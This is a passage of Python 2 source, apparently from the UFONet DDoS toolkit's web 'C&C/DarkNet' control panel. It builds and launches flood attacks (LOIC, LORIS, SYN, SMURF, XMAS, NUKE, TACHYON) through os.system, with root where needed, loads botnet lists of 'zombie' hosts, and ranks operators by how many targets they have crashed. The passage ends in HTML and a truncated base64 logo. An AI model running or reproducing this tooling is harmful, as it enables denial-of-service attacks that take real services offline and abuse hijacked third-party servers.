  1364. cmd += "--spray " +str(self.supply_spray)+ " "
  1365. flag_spray = True
  1366. if int(self.supply_ufosyn) > 0:
  1367. cmd += "--ufosyn " +str(self.supply_ufosyn)+ " "
  1368. flag_ufosyn = True
  1369. if int(self.supply_loris) > 0:
  1370. cmd += "--loris " +str(self.supply_loris)+ " "
  1371. if int(self.supply_loic) > 0:
  1372. cmd += "--loic " +str(self.supply_loic)+ " "
  1373. if not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn:
  1374. cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
  1375. if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True:
  1376. cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON)
  1377. runcmd = cmd + " "
  1378. runcmd = runcmd + "--force-yes &" # no raw_input allowed on webgui (+run it as daemon!)
  1379. print "[Info] [Wargames] Running command:", runcmd, "\n"
  1380. os.system(runcmd) # launch it!
  1381. if "!!!" in job: # remove it from queue (unjob)
  1382. f = open(self.wargames_file, "r")
  1383. ls = f.readlines()
  1384. f.close()
  1385. f = open(self.wargames_file, "w")
  1386. for l in ls:
  1387. if str(l) != str(job):
  1388. f.write(l)
  1389. else:
  1390. job = re.sub('[!!!]', '', job)
  1391. f.write(job)
  1392. f.close()
  1393. def extract_ranking_table(self):
  1394. f = open(self.grid_file,"r") # ranking data extracted from grid.txt
  1395. ls = f.readlines()
  1396. f.close()
  1397. if not ls: # not data on grid.txt
  1398. return
  1399. ranking_items={}
  1400. ranking_key = crypto_key
  1401. nodec_text = "Anonymous"
  1402. nodec_num = 0
  1403. self.ranking_grid_total = 0
  1404. try:
  1405. for j in ls:
  1406. if grid_msg_sep in j:
  1407. self.ranking_grid_total = self.ranking_grid_total + 1
  1408. m = j.split(grid_msg_sep)
  1409. ranking_nickname = m[0] # nickname
  1410. self.decrypt(ranking_key, ranking_nickname)
  1411. if self.decryptedtext:
  1412. ranking_nickname = str(self.decryptedtext)
  1413. else:
  1414. ranking_nickname = nodec_text
  1415. if ranking_nickname == "Anonymous":
  1416. ranking_nickname = ranking_nickname + str(self.ranking_grid_total*3) # add pseudo-rand as end to evade similars
  1417. self.decryptedtext = "" # clean decryptedtext buffer
  1418. ranking_ranking = m[1] # ranking
  1419. self.decrypt(ranking_key, ranking_ranking)
  1420. if self.decryptedtext:
  1421. try:
  1422. ranking_ranking = int(self.decryptedtext)
  1423. except:
  1424. ranking_ranking = nodec_num
  1425. else:
  1426. ranking_ranking = nodec_num
  1427. ranking_items[ranking_nickname] = ranking_ranking
  1428. except:
  1429. ranking_nickname = "Anonymous"
  1430. ranking_ranking = 0
  1431. ranking_items[ranking_nickname] = ranking_ranking
  1432. self.top_rookie = []
  1433. self.top_mercenary = []
  1434. self.top_bandit = []
  1435. self.top_ufommander = []
  1436. self.top_ufoleet = []
  1437. for k, v in ranking_items.iteritems():
  1438. if v is 0: # not any data (or decryption allowed) on grid so discard
  1439. pass
  1440. if v is 1: # add this player as a rookie
  1441. self.ranking_grid_rookie = self.ranking_grid_rookie + 1
  1442. self.top_rookie.append(k)
  1443. elif v is 2: # add this player as a mercenary
  1444. self.ranking_grid_mercenary = self.ranking_grid_mercenary + 1
  1445. self.top_mercenary.append(k)
  1446. elif v is 3: # add this player as a bandit
  1447. self.ranking_grid_bandit = self.ranking_grid_bandit + 1
  1448. self.top_bandit.append(k)
  1449. elif v is 4: # add this player as a ufommander
  1450. self.ranking_grid_ufommander = self.ranking_grid_ufommander + 1
  1451. self.top_ufommander.append(k)
  1452. elif v is 5: # add this player as a ufoleet
  1453. self.ranking_grid_ufoleet = self.ranking_grid_ufoleet + 1
  1454. self.top_ufoleet.append(k)
  1455. else: # add this player as unknown
  1456. self.ranking_grid_unknown = self.ranking_grid_unknown + 1
  1457. top5 = sorted(ranking_items, key=ranking_items.get, reverse=True)[:5]
  1458. for p in top5: # extract best players
  1459. if self.ranking_top5_player1 == "Anonymous":
  1460. self.ranking_top5_player1 = p
  1461. elif self.ranking_top5_player2 == "Anonymous":
  1462. self.ranking_top5_player2 = p
  1463. elif self.ranking_top5_player3 == "Anonymous":
  1464. self.ranking_top5_player3 = p
  1465. elif self.ranking_top5_player4 == "Anonymous":
  1466. self.ranking_top5_player4 = p
  1467. elif self.ranking_top5_player5 == "Anonymous":
  1468. self.ranking_top5_player5 = p
  1469. if self.ranking == "Rookie":
  1470. shuffle(self.top_rookie) # shuffle for different results
  1471. top3 = self.top_rookie[:3]
  1472. elif self.ranking == "Mercenary":
  1473. shuffle(self.top_mercenary)
  1474. top3 = self.top_mercenary[:3]
  1475. elif self.ranking == "Bandit":
  1476. shuffle(self.top_bandit)
  1477. top3 = self.top_bandit[:3]
  1478. elif self.ranking == "UFOmmander!":
  1479. shuffle(self.top_ufommander)
  1480. top3 = self.top_ufommander[:3]
  1481. elif self.ranking == "UFOl33t!":
  1482. shuffle(self.top_ufoleet)
  1483. top3 = self.top_ufoleet[:3]
  1484. for p in top3: # extract similar player
  1485. if self.ranking_similar_player1 == "Anonymous":
  1486. self.ranking_similar_player1 = p
  1487. elif self.ranking_similar_player2 == "Anonymous":
  1488. self.ranking_similar_player2 = p
  1489. elif self.ranking_similar_player3 == "Anonymous":
  1490. self.ranking_similar_player3 = p
  1491. top1 = sorted(ranking_items, key=ranking_items.get, reverse=True)
  1492. shuffle(top1) # shuffle for different results
  1493. top1 = random.choice(top1).strip() # extract random player
  1494. self.ranking_top1_player1 = top1
  1495. def __init__(self):
  1496. self.crypto_key = crypto_key # set default symmetric crypto key
  1497. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  1498. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  1499. self.board_file = 'server/board.txt' # set source path to retrieve board warning message
  1500. self.grid_file = 'server/grid.txt' # set source path to retrieve grid
  1501. self.board_warning = "" # set initial (str) board warning message
  1502. self.wargames_file = 'server/wargames.txt' # set source path to retrieve wargames
  1503. self.zombies_file = "botnet/zombies.txt" # set source path to retrieve 'zombies'
  1504. self.aliens_file = "botnet/aliens.txt" # set source path to retrieve 'aliens'
  1505. self.droids_file = "botnet/droids.txt" # set source path to retrieve 'droids'
  1506. self.ucavs_file = "botnet/ucavs.txt" # set source path to retrieve 'ucavs'
  1507. self.rpcs_file = "botnet/rpcs.txt" # set source path to retrieve 'rpcs'
  1508. self.release_date_file = "docs/release.date" # set source path to retrieve release date
  1509. self.news = "server/news.txt" # set source path to retrieve server news
  1510. self.missions = "server/missions.txt" # set source path to retrieve server missions
  1511. self.mothership_webcfg_file = 'core/json/webcfg.json' # set source for mothership webcfg
  1512. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  1513. self.mothership_boardcfg_file = 'core/json/boardcfg.json' # set source for mothership boardcfg
  1514. self.mothership_gridcfg_file = 'core/json/gridcfg.json' # set source for mothership gridcfg
  1515. self.mothership_supplycfg_file = 'core/json/supplycfg.json' # set source for mothership supplyscfg
  1516. self.ranking = "Rookie Star" # set starting rank
  1517. self.decryptedtext = "" # set buffer for decryption
  1518. self.encryptedtext = "" # set buffer for encryption
  1519. self.blackholes = "server/nodes.dat" # set source path to retrieve server blackholes (nodes.dat)
  1520. self.blackhole = default_blackhole # set default blackhole
  1521. self.blackholes_status = "Not connected!" # set default status for blackholes
  1522. self.blackholes_status_color = "red" # set default status color for blackholes
  1523. self.referer = 'http://127.0.0.1/'
  1524. self.mothershipname = "core/txt/shipname.txt"
  1525. self.ranking_grid_total = 0
  1526. self.ranking_grid_rookie = 0
  1527. self.ranking_grid_mercenary = 0
  1528. self.ranking_grid_bandit = 0
  1529. self.ranking_grid_ufommander = 0
  1530. self.ranking_grid_ufoleet = 0
  1531. self.ranking_grid_unknown = 0
  1532. self.ranking_top5_player1 = "Anonymous"
  1533. self.ranking_top5_player2 = "Anonymous"
  1534. self.ranking_top5_player3 = "Anonymous"
  1535. self.ranking_top5_player4 = "Anonymous"
  1536. self.ranking_top5_player5 = "Anonymous"
  1537. self.ranking_similar_player1 = "Anonymous"
  1538. self.ranking_similar_player2 = "Anonymous"
  1539. self.ranking_similar_player3 = "Anonymous"
  1540. self.ranking_top1_player1 = "Anonymous"
  1541. f = open(self.mothershipname) # extract ship name
  1542. self.mothership_id = f.read()
  1543. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1544. f.close()
  1545. f = open(self.release_date_file) # extract release creation datetime
  1546. self.release_date = f.read()
  1547. # adding AnonTwi (anontwi.03c8.net) cyphering -> AES256+HMAC-SHA1
  1548. self.trans_5C = "".join([chr (x ^ 0x5c) for x in xrange(256)])
  1549. self.trans_36 = "".join([chr (x ^ 0x36) for x in xrange(256)])
  1550. f.close()
  1551. f = open(self.blackholes) # double extract blackholes (nodes.dat)
  1552. self.blackholes_text = f.read()
  1553. f.close()
  1554. f = open(self.blackholes)
  1555. self.blackholes_block = f.readlines()
  1556. f.close()
  1557. self.list_blackholes = []
  1558. for b in self.blackholes_block:
  1559. self.list_blackholes.append(b)
  1560. self.blackholes_datetime = time.ctime(os.path.getctime('server/nodes.dat')) # extract nodes.dat datetime
  1561. if self.blackholes_datetime == self.release_date_file: # never connected to feeds
  1562. self.blackholes_status_color = "red" # set status color for blackholes to 'red'
  1563. else:
  1564. self.blackholes_status_color = "green" # set status color for blackholes to 'green'
  1565. f = open(self.news) # double extract news
  1566. self.news_text = f.read()
  1567. f.close()
  1568. f = open(self.news)
  1569. self.news_block = f.readlines()
  1570. f.close()
  1571. self.list_news = []
  1572. for n in self.news_block:
  1573. self.list_news.append(n)
  1574. self.news_datetime = time.ctime(os.path.getctime('server/news.txt')) # extract news.txt datetime
  1575. if self.news_datetime == self.release_date_file: # never connected to feeds
  1576. self.news_status_color = "red" # set status color for news to 'red'
  1577. else:
  1578. self.news_status_color = "green" # set status color for news to 'green'
  1579. f = open(self.board_file) # double extract board
  1580. self.moderator_text = f.read()
  1581. f.close()
  1582. f = open(self.board_file)
  1583. self.moderator_block = f.readlines()
  1584. f.close()
  1585. self.list_moderator = []
  1586. for n in self.moderator_block:
  1587. self.list_moderator.append(n)
  1588. f = open(self.grid_file) # double grid board
  1589. self.grid_text = f.read()
  1590. self.ranking_text = f.read() # ranking data is extracted from grid
  1591. f.close()
  1592. f = open(self.grid_file)
  1593. self.grid_block = f.readlines()
  1594. f.close()
  1595. self.list_grid = []
  1596. for n in self.grid_block:
  1597. self.list_grid.append(n)
  1598. self.ranking_datetime = time.ctime(os.path.getctime('server/grid.txt')) # extract grid.txt datetime for ranking calcs
  1599. if self.ranking_datetime == self.release_date_file: # never connected to feeds
  1600. self.ranking_status_color = "red" # set status color for ranking to 'red'
  1601. else:
  1602. self.ranking_status_color = "green" # set status color for ranking to 'green'
  1603. f = open(self.wargames_file) # double wargames board
  1604. self.wargames_text = f.read()
  1605. f.close()
  1606. f = open(self.wargames_file)
  1607. self.wargames_block = f.readlines()
  1608. f.close()
  1609. self.list_wargames = []
  1610. for n in self.wargames_block:
  1611. self.list_wargames.append(n)
  1612. f = open(self.missions) # double extract missions
  1613. self.missions_text = f.read()
  1614. f.close()
  1615. f = open(self.missions)
  1616. self.missions_block = f.readlines()
  1617. f.close()
  1618. self.list_missions = []
  1619. for m in self.missions_block:
  1620. self.list_missions.append(m)
  1621. self.missions_datetime = time.ctime(os.path.getctime('server/missions.txt')) # extract missions.txt datetime
  1622. if self.missions_datetime == self.release_date_file: # never connected to feeds
  1623. self.missions_status_color = "red" # set status color for missions to 'red'
  1624. else:
  1625. self.missions_status_color = "green" # set status color for missions to 'green'
  1626. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  1627. data = json.load(stats_json_file)
  1628. stats_json_file.close()
  1629. self.abductor = Abductor(self) # call abductor for data size conversor
  1630. self.aflying = data["flying"]
  1631. self.ascanner = data["scanner"]
  1632. self.atransferred = data["transferred"]
  1633. self.amax_chargo = data["max_chargo"]
  1634. self.amissions = data["missions"]
  1635. self.acompleted = data["completed"]
  1636. self.aloic = data["loic"]
  1637. self.aloris = data["loris"]
  1638. self.aufosyn = data["ufosyn"]
  1639. self.aspray = data["spray"]
  1640. self.asmurf = data["smurf"]
  1641. self.axmas = data["xmas"]
  1642. self.anuke = data["nuke"]
  1643. self.atachyon = data["tachyon"]
  1644. self.tcrashed = data["crashed"]
  1645. if int(self.acompleted) > 0: # check for attacks completed
  1646. self.mothership_acc = Decimal((int(self.tcrashed) * 100) / int(self.acompleted)) # decimal rate: crashed*100/completed
  1647. else:
  1648. self.mothership_acc = 100 # WarGames: "the only way to win in Nuclear War is not to play"
  1649. if int(self.acompleted) < 5: # generating motherships commander ranks by rpg/experiences
  1650. self.ranking = "Rookie"
  1651. elif int(self.acompleted) > 4 and int(self.tcrashed) < 1: # add first ranking step on 5 complete attacks
  1652. self.ranking = "Mercenary"
  1653. elif int(self.tcrashed) > 0 and int(self.tcrashed) < 2: # second ranking step with almost 1 crashed
  1654. self.ranking = "Bandit"
  1655. elif int (self.acompleted) < 50 and int(self.tcrashed) > 4: # third ranking value is only for real "crashers" ;-)
  1656. self.ranking = "UFOmmander!"
  1657. elif int(self.acompleted) > 49 and int(self.tcrashed) > 4: # this people is trying to build a Global Federated Network >-)
  1658. self.ranking = "UFOl33t!"
  1659. f = open(self.zombies_file)
  1660. self.zombies = f.readlines()
  1661. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  1662. self.list_zombies = []
  1663. for zombie in self.zombies:
  1664. t = urlparse(zombie)
  1665. name_zombie = t.netloc
  1666. if "www." in name_zombie:
  1667. name_zombie = name_zombie.replace("www.","")
  1668. self.list_zombies.append(name_zombie)
  1669. self.num_zombies = str(len(self.zombies))
  1670. f.close()
  1671. f = open(self.aliens_file)
  1672. self.aliens = f.readlines()
  1673. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  1674. self.list_aliens = []
  1675. for alien in self.aliens:
  1676. t = urlparse(alien)
  1677. name_alien = t.netloc
  1678. if "www." in name_alien:
  1679. name_alien = name_alien.replace("www.","")
  1680. self.list_aliens.append(name_alien)
  1681. self.num_aliens = str(len(self.aliens))
  1682. f.close()
  1683. f = open(self.droids_file)
  1684. self.droids = f.readlines()
  1685. self.droids = [droid.replace('\n', '') for droid in self.droids]
  1686. self.list_droids = []
  1687. for droid in self.droids:
  1688. t = urlparse(droid)
  1689. name_droid = t.netloc
  1690. if "www." in name_droid:
  1691. name_droid = name_droid.replace("www.","")
  1692. self.list_droids.append(name_droid)
  1693. self.num_droids = str(len(self.droids))
  1694. f.close()
  1695. f = open(self.ucavs_file)
  1696. self.ucavs = f.readlines()
  1697. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  1698. self.list_ucavs = []
  1699. for ucav in self.ucavs:
  1700. t = urlparse(ucav)
  1701. name_ucav = t.netloc
  1702. if "www." in name_ucav:
  1703. name_ucav = name_ucav.replace("www.","")
  1704. self.list_ucavs.append(name_ucav)
  1705. self.num_ucavs = str(len(self.ucavs))
  1706. f.close()
  1707. f = open(self.rpcs_file)
  1708. self.rpcs = f.readlines()
  1709. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  1710. self.list_rpcs = []
  1711. for rpc in self.rpcs:
  1712. t = urlparse(rpc)
  1713. name_rpc = t.netloc
  1714. if "www." in name_rpc:
  1715. name_rpc = name_rpc.replace("www.","")
  1716. self.list_rpcs.append(name_rpc)
  1717. self.num_rpcs = str(len(self.rpcs))
  1718. f.close()
  1719. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))
  1720. f = open(self.wargames_file, "r")
  1721. ls = f.readlines()
  1722. f.close()
  1723. self.supply_wargames = 0
  1724. self.wargames_engage_list = []
  1725. for l in ls:
  1726. if "!!!" in l:
  1727. self.wargames_engage_list.append(l)
  1728. self.supply_wargames = self.supply_wargames + 1
  1729. if self.supply_wargames > 0:
  1730. if self.supply_wargames == 1:
  1731. c_supply = "wargame"
  1732. else:
  1733. c_supply = "wargames"
  1734. self.current_tasks = '<br>-----------------------------------\n\n+ Jobs: <a href="/wargames">' + str(self.supply_wargames) + '</a> '+c_supply+''
  1735. self.wargames_engage_routine(self.wargames_engage_list) # threaded jobs engage routine
  1736. else:
  1737. self.current_tasks = ""
  1738. self.options = UFONetOptions()
  1739. self.pages = {}
  1740. self.pages["/header"] = """<!DOCTYPE html><html>
  1741. <head>
  1742. <link rel="icon" type="image/png" href="/images/favicon.ico" />
  1743. <meta name="author" content="psy">
  1744. <meta name="robots" content="noindex, nofollow">
  1745. <meta http-equiv="content-type" content="text/xml; charset=utf-8" />
  1746. <title>UFONet - [ C&C/DarkNet ]</title>
  1747. <script language="javascript" src="/lib.js"></script>
  1748. <script language="javascript" src="js/stars.js"></script>
  1749. <style>
  1750. body{font-size:15px}a,a:hover{outline:none;color:red;font-size:14px;font-weight:700}nav ul ul{display:none}nav ul li:hover > ul{display:block}nav ul{list-style:none;position:relative;display:inline-table}nav ul:after{content:"";clear:both;display:block}nav ul li{font-size:12px}nav ul li a{display:block;padding:2px 3px}html,body{height:100%}ul,li{margin:0;padding:0}.ringMenu{width:100px;margin:80px auto}.ringMenu ul{list-style:none;position:relative;width:100px;color:#fff}.ringMenu ul a{color:#fff}.ringMenu ul li{-webkit-transition:all .3s ease-in-out;-moz-transition:all .3s ease-in-out;-o-transition:all .3s ease-in-out;transition:all .3s ease-in-out}.ringMenu ul li a{display:block;width:100px;height:100px;background:rgba(50,50,50,0.7);text-align:center;line-height:100px;-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px}.ringMenu ul li a:hover{background:rgba(230,150,20,0.7)}.ringMenu ul li:not(.main){-webkit-transform:rotate(-180deg) scale(0);-moz-transform:rotate(-180deg) scale(0);-o-transform:rotate(-180deg) scale(0);transform:rotate(-180deg) scale(0);opacity:0}.ringMenu:hover ul li{-webkit-transform:rotate(0) scale(1);-moz-transform:rotate(0) scale(1);-o-transform:rotate(0) scale(1);transform:rotate(0) scale(1);opacity:1}.ringMenu ul li.top{-webkit-transform-origin:50% 152px;-moz-transform-origin:50% 152px;-o-transform-origin:50% 152px;transform-origin:50% 152px;position:absolute;top:-102px;left:0}.ringMenu ul li.bottom{-webkit-transform-origin:50% -52px;-moz-transform-origin:50% -52px;-o-transform-origin:50% -52px;transform-origin:50% -52px;position:absolute;bottom:-102px;left:0}.ringMenu ul li.right{-webkit-transform-origin:-52px 50%;-moz-transform-origin:-52px 50%;-o-transform-origin:-52px 50%;transform-origin:-52px 50%;position:absolute;top:0;right:-102px}.ringMenu ul li.left{-webkit-transform-origin:152px 50%;-moz-transform-origin:152px 50%;-o-transform-origin:152px 50%;transform-origin:152px 50%;position:absolute;top:0;left:-102px}textarea{padding:30px 0}
  1751. </style>"""
  1752. self.pages["/footer"] = """</center></body>
  1753. </html>
  1754. """
  1755. self.pages["/ufonet-logo.png"] = base64.b64decode("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